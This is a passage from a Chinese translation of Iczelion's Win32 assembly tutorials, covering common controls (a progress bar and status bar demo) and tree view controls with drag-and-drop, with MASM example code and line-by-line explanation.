invoke GetProcAddress,hLib,addr FunctionName
;-----------------------------------------------------------------------------------------------------------
; 当您得到了动态链接库的句柄后，把它传给GetProcAddress函数，再把您要调用的函数的名称 也传给该函数。如果成功的话，它:会返回想要的函数的地址，失败的话返回NULL。除非卸载该 动态链接库否则函数的地址是不会改变的，所以您可以把它保存到一个:全局变量中以备后用。
;-----------------------------------------------------------------------------------------------------------
.if eax==NULL
invoke MessageBox,NULL,addr FunctionNotFound,addr AppName,MB_OK
.else
mov TestHelloAddr,eax
call [TestHelloAddr]
;-----------------------------------------------------------------------------------------------------------
; 以后您就可以和调用其它函数一样调用该函数了。其中要把包含函数地址信息的变量用方括号括起来。
;-----------------------------------------------------------------------------------------------------------
.endif
invoke FreeLibrary,hLib
;-----------------------------------------------------------------------------------------------------------
;调用FreeLibrary卸载动态链接库。
;-----------------------------------------------------------------------------------------------------------
.endif
invoke ExitProcess,NULL
end start

使用LoadLibrary函数加载动态链接库，可能要自己多做一些工作，但是这种方法确实是提供了许多的灵活性。

翻译：ZhangJun，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

第十八课 通用控件

本课中我们将学习什么是通用控件和如何使用它们。

理论：

WIN95相对于WIN3X有几个加强的用户界面控件。其实在WIN95正式发行前这些控件就在使用，譬如：状态条、工具条等。以前程序员要自己去编程使用它们，现在微软已经把它们包含到了WIN9X和WINNT中了。
  • Toolbar ---工具条
  • Tooltip ---提示文本
  • Status bar ---状态条
  • Property sheet ---属性页单
  • Property page ---属性页
  • Tree view ---树型视图
  • List view ---列表视图
  • Animation ---动画
  • Drag list ---能够处理Drag-Drop的列表框
  • Header ---
  • Hot-key ---热键
  • Image list ---图象链表
  • Progress bar ---进程状态条
  • Right edit ---
  • Tab ---跳格表
  • Trackbar ---跟踪条
  • Up-down ---滚动条
因为通用控件的数量非常多，把它们全部装入内存并注册它们是非常浪费内存的。除了“RTF文本编辑”控件外其他控件的可执行代码都放在comctl32.dll中，这样其他的应用程序就可以使用它们了。“RTF文本编辑”控件在richedXX.dll中，由于该控件非常的复杂，所以也比其它控件大。
要加载comctl32.dll可以在您的应用程序中调用函数InitCommonControls。InitCommonControls函数是动态链接库comctl32.dll中的一个函数，只要在您的程序中的任意地方引用了该函数就、会使得WINDOWS的程序加载器PE Loader加载该库。函数InitCommonControls其实只有一条指令“ret”，它的唯一目的是为了使得在调用了个该函数的应用程序的可执行文件的PE头中的“引入”段中包含有comctl32.dll，这样无论什么时候该应用程序都会为您加载该库。所以真正初始化的工作是在该库的入口点处做的，在这里会注册所有的通用控件类，然后所有的通用控件就可以在这些类上进行创建，这就象创建其它的子窗口控件一样。
RTF文本编辑控件则不同。如果您要使用它，就必须调用LoadLibrary函数来动态加载，并调用FreeLibrary来动态地卸载。
现在我们学习如何创建这些通用控件。您可以用资源编辑器把它们放到一个对话框中，或者您也可以自己调用相关的函数来手动创建它们。几乎所有的通用控件都是调用函数CreateWindowEx或CreateWindow来创建的，您只要在其中传递通用控件的类名即可。有一些通用控件有一些特别的创建函数，但是其实这些函数在内部都调用了CreateWindowEx，只是包装后的函数更方便使用而已。经过包装的函数有：
  • CreateToolbarEx
  • CreateStatusWindow
  • CreatePropertySheetPage
  • PropertySheet
  • ImageList_Create
为了创建通用控件您必须要知道它们的类名，我们把类名列于如下：
类名 | 通用控件
ToolbarWindow32 | Toolbar
tooltips_class32 | Tooltip
msctls_statusbar32 | Status bar
SysTreeView32 | Tree view
SysListView32 | List view
SysAnimate32 | Animation
SysHeader32 | Header
msctls_hotkey32 | Hot-key
msctls_progress32 | Progress bar
RICHEDIT | Rich edit
msctls_updown32 | Up-down
SysTabControl32 | Tab

Property sheets、property pages和image list控件有它们自己的创建函数。Drag list其实是可以伸缩的listbox控件，所以它没有自己的类名。上面的类名是VC++的资源编辑器提供的，它们和Borland公司的WIN32 API指南中提出的不一样，和Petzold的书《Programming Windows 95》也不一样。可以肯定的是我们上面列出的类名绝对准确。 这些通用控件可以有通用的窗口类的一些风格，譬如WS_CHILD等。它们当然还有其他的特殊风格，譬如树型视图控件就有TVS_XXXXX风格，列表控件就有LVS_xxxx风格。具体的最好查找有关的WIN32 API函数指南。 既然我们已经知道了如何创建一个通用控件，我们就可以讨论这些通用控件之间以及和它们的父窗口之间是如何通讯的了。不象子窗口控件，通用控件在某些状态发生变化时不是通过发送WM_COMMAND而是发送WM_NOTIFY消息和父窗口通讯的。父窗口可以通过发送消息来控制子窗口的行为。对于那些新的通用控件，还有一些新的消息类型。您可以参考您的WIN32 API手册。

在下面的例子中我们将要实验一下进度条和状态条。

例子代码：

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDC_PROGRESS equ 1 ; control IDs
IDC_STATUS equ 2
IDC_TIMER equ 3

.data
ClassName db "CommonControlWinClass",0
AppName db "Common Control Demo",0
ProgressClass db "msctls_progress32",0 ; the class name of the progress bar
Message db "Finished!",0
TimerID dd 0

.data?
hInstance HINSTANCE ?
hwndProgress dd ?
hwndStatus dd ?
CurrentStep dd ?
.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
WS_CHILD+WS_VISIBLE,100,\
200,300,20,hWnd,IDC_PROGRESS,\
hInstance,NULL
mov hwndProgress,eax
mov eax,1000 ; the lParam of PBM_SETRANGE message contains the range
mov CurrentStep,eax
shl eax,16 ; the high range is in the high word
invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
mov hwndStatus,eax
invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; create a timer
mov TimerID,eax
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.if TimerID!=0
invoke KillTimer,hWnd,TimerID
.endif
.elseif uMsg==WM_TIMER ; when a timer event occurs
invoke SendMessage,hwndProgress,PBM_STEPIT,0,0 ; step up the progress in the progress bar
sub CurrentStep,10
.if CurrentStep==0
invoke KillTimer,hWnd,TimerID
mov TimerID,0
invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
.endif
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

分析:

    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax
    invoke InitCommonControls
我故意把函数InitCommonControls放到ExitProcess后，这样就可以验证调用该函数仅仅是为了在我们程序的可执行文件的PE头中的引入段中放入引用了comctl32.dll的信息。您可以看到，即使该函数什么都没有做，我们的通用控件对话框依旧可以正常工作。
    .if uMsg==WM_CREATE
    invoke CreateWindowEx,NULL,ADDR ProgressClass,NULL,\
    WS_CHILD+WS_VISIBLE,100,\
    200,300,20,hWnd,IDC_PROGRESS,\
    hInstance,NULL
    mov hwndProgress,eax
在这里我们创建了通用控件。注意CreateWindowEx函数中的参数hWnd是父窗口的句柄。另外它也指定了通用控件的ID号。因为我们直接使用控件的窗口句柄，所以就没有使用该ID号。所有的窗口都必须具有WS_CHILD风格。
    mov eax,1000
    mov CurrentStep,eax
    shl eax,16
    invoke SendMessage,hwndProgress,PBM_SETRANGE,0,eax
    invoke SendMessage,hwndProgress,PBM_SETSTEP,10,0
在创建了进度条后我们先设定它的范围。缺省的范围是0-100。如果您不满意，可以重新设置，这通过传递PBM_SETRANGE消息来实现。参数lParam中包含了范围值，其中底字和高字分别是范围的起始和终了的值。您可以指定进度条每移动一格的步长。本例子中把步长设置成10，意味着每发送一次PBM_STEPIT消息给进度条，它的显示指针就会移动10。当然您可以调用PBM_SETPOS 来直接设定进度条上的指针的位置。用该消息您可以更方便地设定进度条了。
    invoke CreateStatusWindow,WS_CHILD+WS_VISIBLE,NULL,hWnd,IDC_STATUS
    mov hwndStatus,eax
    invoke SetTimer,hWnd,IDC_TIMER,100,NULL ; create a timer
    mov TimerID,eax
下面我们调用CreateStatusWindow来创建状态条。这个调用很好理解，无需我多解释。在状态条创建后我们创建一个计时器。在本例中我们每隔100毫秒就更新一次进度条。下面时创建记时器的函数原型：
    SetTimer PROTO hWnd:DWORD, TimerID:DWORD, TimeInterval:DWORD, lpTimerProc:DWORD
hWnd : 父窗口的句柄。
TimerID : 计时器的ID号。您可以指定一个唯一的非零值。
TimerInterval : 以毫秒计的时间间隔。
lpTimerProc : 计时器回调函数的地址。每当时间间隔到了的时候，该函数就会被系统调用。如果该值为NULL，计时器就会把WM_TIMER消息发送到父窗口。

如果SetTimer调用成功的话就会返回计时器的ID号值，否则返回0。这也是为什么计时器的ID号必须为非零值的原因。

    .elseif uMsg==WM_TIMER
    invoke SendMessage,hwndProgress,PBM_STEPIT,0,0
    sub CurrentStep,10
    .if CurrentStep==0
    invoke KillTimer,hWnd,TimerID
    mov TimerID,0
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,addr Message
    invoke MessageBox,hWnd,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
    invoke SendMessage,hwndStatus,SB_SETTEXT,0,0
    invoke SendMessage,hwndProgress,PBM_SETPOS,0,0
    .endif
当指定的时间到了的时候，计时器将发送WM_TIMER消息。您可以在处理该消息时作适当的处理。本例中我们将更新进度条，并检查进度条是否超过最大的值。如果超过了的话，我们通过发送SB_SETTEXT消息来在状态条中设置文本。这时，弹出一个对话框，当用户关闭掉对话框后，我们去除掉进度条和状态条中的文本。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第十九课 树型视图控件

本课中，我们将学习如何使用树型视图控件。另外还要学习如何在树型视图中完成拖-拉动作，以及如何使用图象列表。

理论：

树型视图是一种特别的窗口，我们可以使用它一目了然地表示某种层次关系。譬如象在资源管理器中左边窗口中的就是树型视图。您可以调用CreateWindowEx来创建树型视图，传递一个类名“"SysTreeView32"”，或者您也可以把它放到一个对话框中去。不要忘了在您的代码中加入InitCommonControls函数。
树型视图有几种特有的风格。下面是几种经常使用的。
    TVS_HASBUTTONS == 在父项目中显示（+）或（-）。用户可以通过点击该符号来展开或收起该父项目下的子项目。如果想在根目录下也有这个符号必须指定TVS_LINESATROOT风格。
    TVS_HASLINES == 在层次中用线条来连接各个项目名称。
    TVS_LINESATROOT == 在根目录下的项目也用线连接。如果没有指定TVS_HASLINES风格，该风格也就会被忽略。
像其它的通用控件一样，树型视图用消息来完成通信。父窗口发送一系列的消息给树型视图，而树型视图发送"notification"消息给它的父窗口。在这方面，树型视图和其它的通用控制没什么两样。
当有事件发生时，树型视图发送一个WM_NOTIFY消息个父窗口，并在消息中附带传递一些附加信息。
    WM_NOTIFY
    wParam ==控件的ID。因为该值不是唯一的，故我们不用它。我们使用NMHDR结构体中的hwndFrom或IDFrom成员变量。
    lParam == 指向NMHDR结构体的指针。有一些控件可能传递一个指向更大一点的结构体的指针。但该结构体必须保证它的第一个成员变量是一个NMHDR型的变量。这样，您在处理lParam变量时，至少可以得到一个NMHDR型的变量。
下面我们来看NMHDR：
    NMHDR struct DWORD
    hwndFrom DWORD ?
    idFrom DWORD ?
    code DWORD ?
    NMHDR ends
hwndFrom是发送WM_NOTIFY消息的控件的窗口句柄。
idFrom是发送WM_NOTIFY消息的控件的ID。
code是控件发送给父窗口的数据。
树型视图发送给父窗口的通知消息以TVN_打头。 树型视图接收到的消息以TVM_打头，譬如：TVM_CREATEDRAGIMAGE。 树型视图发送TVN_XXX消息时在code变量中放入NMHDR型变量。父窗口发送TVM_消息来控制树型视图。

在树型视图中加入项目

在创建完树型视图后可以通过发送TVM_INSERTITEM消息往其中加入项目了。

    TVM_INSERTITEM
    wParam = 0;
    lParam = 指向结构体TV_INSERTSTRUCT的指针;

    您应当知道一些关于树型视图中的项目之间关系的一些术语。 一个项目可能是一个父亲、儿子或两者都是。父项目下含有子项目，而该父项目又有可能是其它项目的子项目。一个没有父项目的项目叫根项目。在树型视图中可能有多个根项目。现在我们来看看TV_INSERTSTRUCT结构体：

    TV_INSERTSTRUCT STRUCT DWORD
    hParent DWORD ?
    hInsertAfter DWORD ?
    ITEMTYPE <>
    TV_INSERTSTRUCT ENDS
hParent = 父项目的句柄。如果该值为TVI_ROOT value或NULL，该项目插在树型视图的根部。
hInsertAfter = 应该插入在起后面的项目的句柄或下面的值：
  • TVI_FIRST ==> 插在列表的头部。
  • TVI_LAST ==> 插在列表的尾部。
  • TVI_SORT ==> 按字母顺序插入。
    ITEMTYPE UNION
    itemex TVITEMEX <>
    item TVITEM <>
    ITEMTYPE ENDS
我们仅使用TVITEM。
    TV_ITEM STRUCT DWORD
    imask DWORD ?
    hItem DWORD ?
    state DWORD ?
    stateMask DWORD ?
    pszText DWORD ?
    cchTextMax DWORD ?
    iImage DWORD ?
    iSelectedImage DWORD ?
    cChildren DWORD ?
    lParam DWORD ?
    TV_ITEM ENDS

该结构体根据消息类型，用来发送或接收关于一个树型视图的项目的有关信息。譬如：对于消息TVM_INSERTITEM，它用来指定插入树型视图控件的项目的属性。而对于消息TVM_GETITEM，该结构体用来填充关于选定项目的信息。
imask 用来指定TV_ITEM的那些成员变量有效。譬如，如果指定了TVIF_TEXT，这意味着pszText成员变量是有效的。您可以同时指定几个标志位。
hItem 是树型视图项目的句柄。每一个项目都有它自己的句柄，就像窗口一样。如果您想要操作一个项目，就必须选择它的句柄。
pszText 是一个字符串指针。它是项目的标签名。
cchTextMax仅在查询项目的名称时使用。由于在pszText中指定了指针，WINDOWS还要知道该缓冲去的大小。所以您必须给出该值。
iImage 和 iSelectedImage用来指定图象列表以及一个索引号。这样就知道当项目被选中或没被选中时用哪个图象来表示该项目。像资源管理器中左边窗口中的文件夹等小图表就是有这两个参数来决定的。
为了在树型视图中插入一个项目，您必须至少设定hParent, hInsertAfter，另外您还要设定imask和pszText值。

把图形加到图形视图中

如果您想要在项目的名称左边显示图标的话，您必须创建一个图形列表，并且把它和树形视图相关联起来。您可以调用ImageList_Create来创建一个图形列表。
    ImageList_Create PROTO cx:DWORD, cy:DWORD, flags:DWORD, \
    cInitial:DWORD, cGrow:DWORD

如果创建成功的话，该函数返回一个空的图象列表的句柄。
cx == 以像素为单位的图象的宽度。
cy == 以像素为单位的图象的高度。图象列表中的每一幅的高度都必须相同。否则WINDOWS会对您的图象进行裁剪，如果过大的话就可能裁剪成几小块。所以您必须指定相同大小的图象。
flags == 指定图象列表的图象的颜色深度。详细情况请参考WIN32 API 指南。
cInitial == 指定包含的图象的数目。WINDWOS将依此来分配合适的内存。
cGrow == 在增加新图象是一次增加的数目。

图象列表不是窗口。仅仅是保存在那给其它的窗口使用的一种资源。 在图象列表产生后，您可以调用ImageList_Add来向其中加入图象。

    ImageList_Add PROTO himl:DWORD, hbmImage:DWORD, hbmMask:DWORD
如果该函数调用失败的话，返回-1。
himl == 图象列表的句柄。它是调用ImageList_Create时返回的值。
hbmImage == 加入图象列表的位图的句柄。您通常把位图保存在资源中，然后调用LoadBitmap来把它加载进来。 注意您没有必要指定该位图中包含的图象的数目。WINDOWS会根据它的大小，自动计算。
hbmMask == 掩码位图的句柄。如果没有使用掩码位图，可以忽略该值。 通常我们加入两种图象到图象列表中。一种时被选中时显示的图象，另一种时没被选中时显示的。
当图象列表准备就绪后，您可以发送消息TVM_SETIMAGELIST给树型视图来让图象列表和树型视图联系起来。
    TVM_SETIMAGELIST
    wParam = 图象列表的状态，一共有两种：
    • TVSIL_NORMAL 包含被选中和没有被选中两种状态的图象。
    • TVSIL_STATE 包含了用户自定义的状态的图象。
    lParam = 图象列表的句柄。

检索树型视图的信息

您可以通过发送消息TVM_GETITEM来检索图形视图的信息。

    TVM_GETITEM
    wParam = 0
    lParam =指向结构体TV_ITEM的指针。该结构体将用来得到相关的信息。

    在发送该消息前必须设置成员变量imask的值，以便WINDOWS能告诉相关的信息。当然，最重要的是，您必须传递您想得到信息的项目的句柄。这就引起了一个问题，您如何得到项目的句柄？要保存所有项目的句柄吗？
    答案是很简单的：没有必要。您可以发送消息TVM_GETNEXTITEM到树型视图以检索您想要得到其属性的项目的句柄。譬如：您可以查询第一个子项目的句柄、根目录的句柄、选中的项目的句柄等等。

    TVM_GETNEXTITEM
    wParam = 标志
    lParam = 树型视图的句柄（仅仅当wParam的值是某些标志位时才是必须的）。
wParam中的值非常重要， 我解释如下：
    • TVGN_CARET 选中的项目
    • TVGN_CHILD hitem参数指定项目的第一个子项目
    • TVGN_DROPHILITE 拖-拉操作的目的项目
    • TVGN_FIRSTVISIBLE 第一个可见项目
    • TVGN_NEXT 下一个同级项目
    • TVGN_NEXTVISIBLE 下一个可见项目，指定的项目必须可见。发送消息TVM_GETITEMRECT 来决定项目是否可见
    • TVGN_PARENT 指定项目的父项目
    • TVGN_PREVIOUS 前一个同级项目
    • TVGN_PREVIOUSVISIBLE 前一个可见项目，指定的项目必须可见。发送消息TVM_GETITEMRECT 来决定项目是否可见
    • TVGN_ROOT 根项目
由此您可以通过发送该消息来得到项目的句柄，然后在发送消息TVM_GETITEM时在结构体变量TV_ITEM的成员变量hItem中放入该项目的句柄就可以得到关于该项目的有关信息了。

在树型视图中进行拖-拉操作

也就是因为这一部分我才决定写这课教程。当我按照InPrise公司的WIN32帮助来运行例子时，发现它的帮助中缺少真正重要的信息。我只有通过自己做实验，最后总算弄明白来个中来由。希望您不要和我一样再去走这些弯路，下面我把我所知的在树型视图中进行拖-拉操作的步骤描述如下：
  1. 当用户要拖动一个项目时，树型视图控件会给它的父窗口发送TVN_BEGINDRAG通知消息。您可以在此处创建表示项目处在拖动操作中的图象，这可以通过发送TVM_CREATEDRAGIMAGE消息给树型视图，让其为目前使用的图象产生一副缺省的图象来实现。树型视图控件将创建一个图象列表，其中仅包含一副在拖动中显示的图象，图象列表创建后，您可以得到它的句柄。
  2. 在拖拉的图象生成后，您可以通过调用ImageList_BeginDrag来指定拖动图象的热点位置。
      ImageList_BeginDrag PROTO himlTrack:DWORD, \
      iTrack:DWORD , \
      dxHotspot:DWORD, \
      dyHotspot:DWORD
      himlTrack 是包含了拖拉时显示的图象的图象列表的句柄
      iTrack 是选中的图象在图象列表中的索引号。
      dxHotspot 因为在拖动中该图象被用来取代光标，所以我们必须指定图象中的哪一点是光标的左上角的位置。dxHotspot是水平相对位置。
      dyHotspot 是垂直相对位置。
      iTrack等于0。如果您要想光标的热点在拖拉中显示的图象的左上角，把dxHotspot和dyHotspot都设成0。
  3. 当拖拉的图象要显示时，我们调用ImageList_DragEnter 在树型视图中显示该图象。
      ImageList_DragEnter PROTO hwndLock:DWORD, x:DWORD, y:DWORD
      hwndLock 是进行拖拉中的窗口的句柄，拖拉的动作限制在该窗口中。
      x 和 y是在拖拉时显示图象的初始位置的坐标值。这些值是相对于窗口的左上角而不是客户区的左上角。
  4. 既然可以显示拖动中的图象了，我们就要处理拖动操作了。在这里有一个小问题。我们监视拖动是通过监视鼠标光标的移动来实现的，譬如在移动时我们通过捕获WM_MOUSEMOVE消息来得到移动中的坐标位置，通过捕获WM_LBUTTONUP消息来获知用户的放下操作。但这时如果鼠标光标移过子窗口时父窗口就无法再得到鼠标光标的移动以及鼠标的按键消息了。解决办法是调用SetCapture函数了锁定鼠标事件，这样无论鼠标移到那里和有什么动作，我们的窗口都可以知道了。
  5. 在处理WM_MOUSEMOVE消息时，您可以调用ImageList_DragMove来更新图象移动的轨迹。 该函数可以移动拖放操作中的图象位置。另外，如果您想让移动中的图象经过某些项目时高量度显示，可以调用TVM_HITTEST 来确定是否经过某个项目的上面。如果是的话，您可以发送TVM_SELECTITEM消息并设置 TVGN_DROPHILITE标志位使得那个项目高亮度显示。注意：在发送消息TVM_SELECTITEM前，您必须先隐藏图象列表，否则会留下非常难看的轨迹。要隐藏拖动中的图象可以调用ImageList_DragShowNolock，在显示完高亮度的图象后再调用该函数以让拖动中的图象再正常显示。
  6. 当用户释放主键后，您必须做几件事。 如果您在高亮度显示的时候释放鼠标主键（表示您想把该项目加到此处），您必须使该项目变成正常地显示，这可以通过发送消息TVM_SELECTITEM消息并设置标志位TVGN_DROPHILITE来实现，只是这时lParam必须为0。如果您不让高亮度显示的项目恢复正常，那就会发生一个奇怪的现象：当您再选择另外的项目时，那个项目的图象会包含在一个正方形中，当时高亮度显示的项目依旧是上一个项目。接下来必须调用ImageList_EndDrag和ImageList_DragLeave。还有调用ReleaseCapture来释放捕获的鼠标。如果您创建了一个图象列表，那还要调用calling ImageList来将它销毁，在拖放操作结束后您可以进行另外其它的操作。

例子代码：

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
.const
IDB_TREE equ 4006 ; ID of the bitmap resource
.data
ClassName db "TreeViewWinClass",0
AppName db "Tree View Demo",0
TreeViewClass db "SysTreeView32",0
Parent db "Parent Item",0
Child1 db "child1",0
Child2 db "child2",0
DragMode dd FALSE ; a flag to determine if we are in drag mode

.data?
hInstance HINSTANCE ?
hwndTreeView dd ? ; handle of the tree view control
hParent dd ? ; handle of the root tree view item
hImageList dd ? ; handle of the image list used in the tree view control
hDragImageList dd ? ; handle of the image list used to store the drag image

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
invoke ExitProcess,eax
invoke InitCommonControls

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_APPWORKSPACE
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
CW_USEDEFAULT,200,400,NULL,NULL,\
hInst,NULL
mov hwnd,eax
.while TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses edi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL tvinsert:TV_INSERTSTRUCT
LOCAL hBitmap:DWORD
LOCAL tvhit:TV_HITTESTINFO
.if uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
0,200,400,hWnd,NULL,\
hInstance,NULL ; Create the tree view control
mov hwndTreeView,eax
invoke ImageList_Create,16,16,ILC_COLOR16,2,10 ; create the associated image list
mov hImageList,eax
invoke LoadBitmap,hInstance,IDB_TREE ; load the bitmap from the resource
mov hBitmap,eax
invoke ImageList_Add,hImageList,hBitmap,NULL ; Add the bitmap into the image list
invoke DeleteObject,hBitmap ; always delete the bitmap resource
invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
mov tvinsert.hParent,NULL
mov tvinsert.hInsertAfter,TVI_ROOT
mov tvinsert.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
mov tvinsert.item.pszText,offset Parent
mov tvinsert.item.iImage,0
mov tvinsert.item.iSelectedImage,1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov hParent,eax
mov tvinsert.hParent,eax
mov tvinsert.hInsertAfter,TVI_LAST
mov tvinsert.item.pszText,offset Child1
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
mov tvinsert.item.pszText,offset Child2
invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
.elseif uMsg==WM_MOUSEMOVE
.if DragMode==TRUE
mov eax,lParam
and eax,0ffffh
mov ecx,lParam
shr ecx,16
mov tvhit.pt.x,eax
mov tvhit.pt.y,ecx
invoke ImageList_DragMove,eax,ecx
invoke ImageList_DragShowNolock,FALSE
invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
.if eax!=NULL
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
.endif
invoke ImageList_DragShowNolock,TRUE
.endif
.elseif uMsg==WM_LBUTTONUP
.if DragMode==TRUE
invoke ImageList_DragLeave,hwndTreeView
invoke ImageList_EndDrag
invoke ImageList_Destroy,hDragImageList
invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
invoke ReleaseCapture
mov DragMode,FALSE
.endif
.elseif uMsg==WM_NOTIFY
mov edi,lParam
assume edi:ptr NM_TREEVIEW
.if [edi].hdr.code==TVN_BEGINDRAG
invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
mov hDragImageList,eax
invoke ImageList_BeginDrag,hDragImageList,0,0,0
invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
invoke SetCapture,hWnd
mov DragMode,TRUE
.endif
assume edi:nothing
.elseif uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
xor eax,eax
ret
WndProc endp
end start

分析：

在处理消息WM_CREATE的代码中，您可以创建树型视图控件。
    invoke CreateWindowEx,NULL,ADDR TreeViewClass,NULL,\
    WS_CHILD+WS_VISIBLE+TVS_HASLINES+TVS_HASBUTTONS+TVS_LINESATROOT,0,\
    0,200,400,hWnd,NULL,\
    hInstance,NULL
注意： TVS_xxxx 是树型视图所特有的风格。
    invoke ImageList_Create,16,16,ILC_COLOR16,2,10
    mov hImageList,eax
    invoke LoadBitmap,hInstance,IDB_TREE
    mov hBitmap,eax
    invoke ImageList_Add,hImageList,hBitmap,NULL
    invoke DeleteObject,hBitmap
    invoke SendMessage,hwndTreeView,TVM_SETIMAGELIST,0,hImageList
接下来，您可以创建一个空的图像列表，该图像列表容纳的是以像素为单位16x16大小和16位深度的图像，该图像列表初始包含两幅图像，最大可以容纳10幅。然后我们从资源中加载图像，并把它们放到图像列表中去。随后我们删除掉图像的句柄，因为我们不需要再用到它。设置好图像列表后，我们通过发送消息TVM_SETIMAGELIST把它和树型视图控件联系起来。
    mov tvinsert.hParent,NULL
    mov tvinsert.hInsertAfter,TVI_ROOT
    mov tvinsert.u.item.imask,TVIF_TEXT+TVIF_IMAGE+TVIF_SELECTEDIMAGE
    mov tvinsert.u.item.pszText,offset Parent
    mov tvinsert.u.item.iImage,0
    mov tvinsert.u.item.iSelectedImage,1
